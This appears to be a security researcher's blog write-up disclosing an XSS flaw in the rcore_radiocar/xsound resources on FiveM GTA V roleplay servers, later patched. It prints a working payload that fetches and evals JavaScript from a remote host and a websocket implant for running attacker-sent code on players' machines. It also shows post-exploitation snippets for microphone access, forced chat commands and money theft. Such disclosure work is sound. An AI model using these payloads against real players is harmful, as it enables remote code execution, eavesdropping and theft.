../
Hacking GTA V RP Servers Using Web Exploitation Techniques
authored by veritas

As of 2023, Grand Theft Auto V remains the second best-selling video game at 185,000,000 units sold, second to Minecraft1. Its success can largely be attributed to the game's online multiplayer mode, GTA Online, which allows players to explore a sandboxed world with friends and strangers alike. Although the playable world and content is vast, the experience is quickly degraded due to the peer-to-peer nature of the game. The client-sided nature of the game allows for a plethora of exploits, including the ability to crash players, spawn vehicles, and even corrupt other's accounts. The lack of player-led servers also means that the game can not be modded in the traditional sense.

Hackers ruining the GTA Online experience

Introducing FiveM

FiveM is an open source third-party multiplayer mod by Cfx.re2, which allows players to create or connect to dedicated servers. These servers can be modded to the creator's liking, and can be used to create custom game modes, maps, and otherwise impossible experiences. A popular example of this is roleplay servers, which allows players to roleplay as civilians, police officers, and criminals. These experiences are created with game modifications known as "resources". Resources on a roleplay server can be used to allow for the custom creation of vehicles, custom interiors & exteriors, drug-dealing mechanics, and more.

These resources can built using Lua, C#, or JavaScript. A typical setup would use Lua to handle server-side actions and JavaScript to display custom user interfaces. These scripts communicate through NUI callbacks which allow interoperability between the Chromium Embedded Framework that renders the custom interfaces and the Lua scripting engine.

Finding Servers

FiveM server list
FiveM server list

FiveM aggregates a list of servers that can be filtered by various criteria such as name, region, player count, etc... Selecting a server allows you to view it in more detail, revealing the list of resources, and allowing you to connect through the click of a button.

Detailed server view
Detailed server view

After viewing several servers from this list, rcore_radiocar was a resource that piqued my interest. This allowed players to specify YouTube and SoundCloud links to broadcast music from the player's car to other nearby players.

My initial thought was, it may be possible to leak player's IPs by specifying a URL that I controlled. To my surprise, this worked. I wasn't yet sure of how this resource worked under the hood and since it was paid I couldn't easily sift through the source. Or so I thought.

CEF Remote Debugging

FiveM exposes the CEF Remote Debugging interface on localhost:13172. This allows us to inspect and debug the resource's code for handling the user interface with ease. Each resource is loaded into its own iframe.

Debugging the Chromium Embedded Framework view of a FiveM server
Debugging the Chromium Embedded Framework view of a FiveM server

A quick peek into the resource we're curious about reveals a relatively straightforward file tree.

rcore_radiocar
└── html
    ├── css
    │   ├── reset.css
    │   └── style.css
    ├── index.html
    └── scripts
        ├── SoundPlayer.js
        ├── class.js
        ├── functions.js
        ├── listener.js
        └── vue.min.js

A peek into SoundPlayer.js reveals the functionality for how the music gets played on the client-side. This logic is handled inside of the create() function:

create()
	{
    // ...
    var link = getYoutubeUrlId(this.getUrlSound());
    if(link === "")
    {
      this.isYoutube = false;
      this.audioPlayer = new Howl({
        src: [this.getUrlSound()],
        loop: false,
        html5: true,
        autoplay: false,
        volume: 0.0,
        format: ['mp3'],
        onend: function(event){
          ended(null);
        },
        onplay: function(){
          isReady("nothing", true);
        },
      });
      $("#" + this.div_id).remove();
      $("body").append("<div id = '"+ this.div_id +"' style='display:none'>"+this.getUrlSound() +"</div>")
    }
    else
    {
      // ...
    }
}

The resource attempts to extract a YouTube ID from the URL (e.g: extract D7DVSZ_poHk from https://www.youtube.com/watch?v=D7DVSZ_poHk). If an ID cannot be extracted, it is treated as an unknown source and uses audio library Howler.js to parse and play the audio. Afterwards, the resource graciously appends our sound's URL to the DOM using JQuery's append function.

If it wasn't immediately obvious, this screams vulnerable to XSS. Since the user is able to specify any URL, an attacker is able to craft an XSS payload and execute arbitrary JavaScript on player's machines.

To test this theory, I crafted an XSS payload that did exactly this. Using a purposefully erroneous img tag, we're able to use the onerror attribute to fetch a larger payload and execute it using JavaScript's eval function.

The XSS payload reads as such:

<img src="#" onerror='fetch(`https://[redacted].com/payload.js`).then(res=>res.text().then(r=>eval(r)))' style="display:none" />

The actual loaded payload contains logic to connect the player to a websocket that I control so that we're able to feed arbitrary JavaScript through a control panel.

The injected payload reads as follows:

globalThis.serverName = 'default';
globalThis.lastPing = Date.now()

const sendMessage = (socket, message) => socket.send(JSON.stringify(message));

const pingCommand = (_, socket) => {
  globalThis.lastPing = Date.now();
  sendMessage(socket, { type: "pong" });
}

const evalCommand = ({ code }, socket) => {
  const returned = eval(code); // Execute the code sent from our server on the player's machine
  sendMessage(socket, { type: "evaled", returned: `${returned}` });
};

globalThis.commands = {
  eval: evalCommand,
  ping: pingCommand,
}

globalThis.start ??= () => {
  if (globalThis.socket) {
    return;
  }

  const socket = new WebSocket(`wss://[redacted]/connect/${globalThis.serverName}`);
  globalThis.socket = socket;

  const closed = () => {
    globalThis.socket = undefined;
    setTimeout(() => globalThis.start(), 500)
  };
  socket.onclose = closed;
  socket.onerror = closed;
  socket.onmessage = ({ data }) => {
    if (!data) return;

    const { type, ...rest } = JSON.parse(data);
    globalThis.commands[type]?.(rest, socket);
  };
}

globalThis.start();

The only thing left was to test this. The plan goes as follows:

  1. Find a server with the xsound and rcore_radiocar resource.
  2. Get inside of a vehicle
  3. Run the /radiocar command and drop the XSS payload
  4. Profit???

Now, a video demonstrating the exploit:

XSS payload being dropped and tested using various scripts

As I roam the city in my car, nearby players are attempting to play the music from the URL being broadcasted by my car. Since this "URL" is a maliciously crafted payload, they are instead connecting to my websocket awaiting further command.

Further commands

FiveM exposes various functions to the CEF browser. One handy function, window.invokeNative, can be used to execute certain tasks in C++-land. A peek into components/nui-core/src/NUICallbacks_Native.cpp tells us what we can do.

client->AddProcessMessageHandler("invokeNative", [] (CefRefPtr<CefBrowser> browser, CefRefPtr<CefProcessMessage> message)
  {
    auto args = message->GetArgumentList();
    auto nativeType = args->GetString(0);

    nui::OnInvokeNative(nativeType.c_str(), ToWide(args->GetString(1).ToString()).c_str());

    if (nativeType == "quit")
    {
      // TODO: CEF shutdown and native stuff related to it (set a shutdown flag)
      ExitProcess(0);
    }
    else if (nativeType == "openUrl")
    {
      std::string arg = args->GetString(1).ToString();

      if (arg.find("http://") == 0 || arg.find("https://") == 0)
      {
        ShellExecute(nullptr, L"open", ToWide(arg).c_str(), nullptr, nullptr, SW_SHOWNORMAL);
      }
    }
    else if (nativeType == "setConvar" || nativeType == "setArchivedConvar")
    {
      if (nui::HasMainUI())
      {
        // code to set convars, however this only works in the main menu.
      }
    }
    else if (nativeType == "getConvars")
    {
      if (nui::HasMainUI())
      {
        // code to get convars, however this only works in the main menu.
      }
    }
    return true;
});

Other functions existing on the window object include bangers such as:

nuiApp->AddV8Handler("fxdkClipboardRead", [](const CefV8ValueList& arguments, CefString& exception)
{
  if (OpenClipboard(nullptr))
  {
    ClipboardCloser closer;

    if (HANDLE ptr = GetClipboardData(CF_UNICODETEXT))
    {
      if (wchar_t* text = static_cast<wchar_t*>(GlobalLock(ptr)))
      {
        std::wstring textString(text);

        GlobalUnlock(ptr);

        return CefV8Value::CreateString(textString);
      }
    }
  }
  return CefV8Value::CreateString("");
});

As of May 27 2023, the clipboard functions are no longer accessible. Presumably due to misuse by malicious server admins & resource developers.

The DOM

Since the exploit lives in the DOM with isolation disabled, we're also able to hijack other resource's iframes.

Make users send chat messages

A peek into chat/html/App.js tells us how in-game messages are handled:

// window.post defined in chat/html/index.html
window.post = (url, data) => {
  var request = new XMLHttpRequest();
  request.open('POST', url, true);
  request.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');
  request.send(data);
}

send(e) {
  if(this.message !== '') {
    post('http://chat/chatResult', JSON.stringify({
      message: this.message,
    }));
  } else {
    this.hideInput(true);
  }
}

Nice, an attacker should be able to have users send chat messages by sending a request to this URL with the message payload being our chat message:

fetch("https://chat/chatResult", {
    method: "POST",
    body: JSON.stringify({ message: "test" }),
});

Result of the payload from above
Result of the payload from above

An attacker can also execute in-game commands (Make admins execute /ban, /kick, etc...).

Abusing Web APIs

The attacker can also utilize various Web APIs to do things like access the user's microphone: However, FiveM prompts the user for microphone access which may look suspicious.

function getLocalStream() {
  navigator.mediaDevices
    .getUserMedia({ video: false, audio: true })
    .then((stream) => {
      window.localStream = stream; // A
      window.localAudio.srcObject = stream; // B
      window.localAudio.autoplay = true; // C
    })
    .catch((err) => {
      console.error(`you got an error: ${err}`);
    });
}

Infected resource rcore_radiocar asking for media device permission. Very suspicious
Infected resource rcore_radiocar asking for media device permission. Very suspicious

So instead, we can hijack an iframe that may already have microphone permission. A good candidate being gksphone, a resource that gives the players a cellphone and the ability to call each other.

window.gksPhone = top.citFrames['gksphone'];

window.reqMicrophoneScript = top.document.createElement('script');
window.reqMicrophoneScript.innerHTML = `
function requestMicrophone() {
    return navigator.mediaDevices.getUserMedia({ audio: true })
    .then((stream) => {
      // ...
    })
}
requestMicrophone();
`

// inject the function into the gksphone resource
// which already has microphone access :)
window.gksPhone.contentWindow.document.body.appendChild(window.reqMicrophoneScript);

Stealing Player's Money

An attacker is able to transfer all player's money to themselves (or to any specified ID) by abusing the bank resource.

// bank/html/script.js
$.post('http://bank/transfer', JSON.stringify({
    to: $('#idval').val(),
    amountt: $('#transferval').val()
}));

Changing Everyone's Appearence

const fivemAppearanceFrame = top.window.citFrames["fivem-appearance"].contentWindow;
const fetch = fivemAppearanceFrame.fetch;

const baseUrl = `https://fivem-appearance`;

function randomInteger(min, max) {
  return Math.floor(Math.random() * (max - min + 1)) + min;
}

const main = async () => {
  // Get the player's existing appearence
  const response = await fetch(baseUrl + "/appearance_get_settings_and_data", {
    method: "GET",
    headers: {
      "Content-type": "application/json; charset=UTF-8",
    },
  });
  const body = await response.json();

  if (body && "appearanceSettings" in body) {
    const { components } = body.appearanceSettings;
    components.forEach((component) => {
      const componentId = component.component_id;
      const drawableId = randomInteger(
        component.drawable.min,
        component.drawable.max
      );
      const textureId = randomInteger(
        component.texture.min,
        component.texture.max
      );

      // Change the appearence to random clothing 
      fetch(baseUrl + "/appearance_change_component", {
        method: "POST",
        headers: {
          "Content-type": "application/json; charset=UTF-8",
        },
        body: {
          component_id: componentId,
          drawable: drawableId,
          texture: textureId,
        },
      });
    });
  }
};

main();

Impact

A quick script Pimothy and I wrote to parse the FiveM server list and filter by resources shows that hundreds of servers contained the vulnerable resources with the potential to infect thousands of players:

xsound found on w9a... players: [628/2048]
rcore_radiocar found on 8bo... players: [256/500]
xsound found on 35a... players: [299/400]
xsound found on a6r... players: [314/2048]
rcore_radiocar found on a6r... players: [314/2048]
xsound found on gq6... players: [313/2048]
xsound found on 4ez... players: [198/500]
xsound found on pkp... players: [570/1069]
xsound found on npx... players: [347/2048]
xsound found on 8qq... players: [252/800]
rcore_radiocar found on qrv... players: [137/200]
xsound found on qrv... players: [137/200]
xsound found on mko... players: [90/333]
xsound found on mpd... players: [160/600]
xsound found on aqq... players: [137/1337]
xsound found on 23o... players: [135/2048]
xsound found on gro... players: [120/150]
xsound found on l54... players: [224/512]
rcore_radiocar found on j8d... players: [182/400]
xsound found on e3r... players: [122/175]
xsound found on eaz... players: [160/500]
xsound found on rk6... players: [60/300]
and many more...

As shown above, the severity of this exploit is fairly high as an attacker is able to execute arbitrary JavaScript to all players on a server allowing for things such as microphone access, clipboard contents, and more. It was clear I needed to report it to the resource developer and so I did and on May 18 2022, a patch was released to fix the XSS.

setSoundUrl(result) {
	this.url = result.replace(/<[^>]*>?/gm, '');
}

I had an idea to find servers that may still be vulnerable to this exploit so I could report it to the server owners. It would work by traversing the server list and requesting their xsound resource to test if the patch was applied (likely using a regex). However, the FiveM server encrypts resources and decrypts them on the client. The decrypt routine is heavily obfuscated by their anticheat adhesive.dll making automation infeasible.

Conclusion

FiveM provides a powerful framework to create game experiences not otherwise possible in Grand Theft Auto. However, this power can be abused by attackers through the use of XSS in vulnerable NUI resources. It is important to utilize proper input sanitization and other best practices to prevent exploits like this. Server owners should also keep installed resources up to date.

Special Thanks

Footnotes

  1. https://www.ign.com/articles/take-two-ceo-says-mid-generation-upgrades-like-rumored-ps5-pro-arent-all-that-meaningful

  2. Cfx.re has been acquired by Rockstar Games

Find veritas on:twitter: https://twitter.com/blastbotsfedi: https://infosec.exchange/@voidstardiscord: nullptrs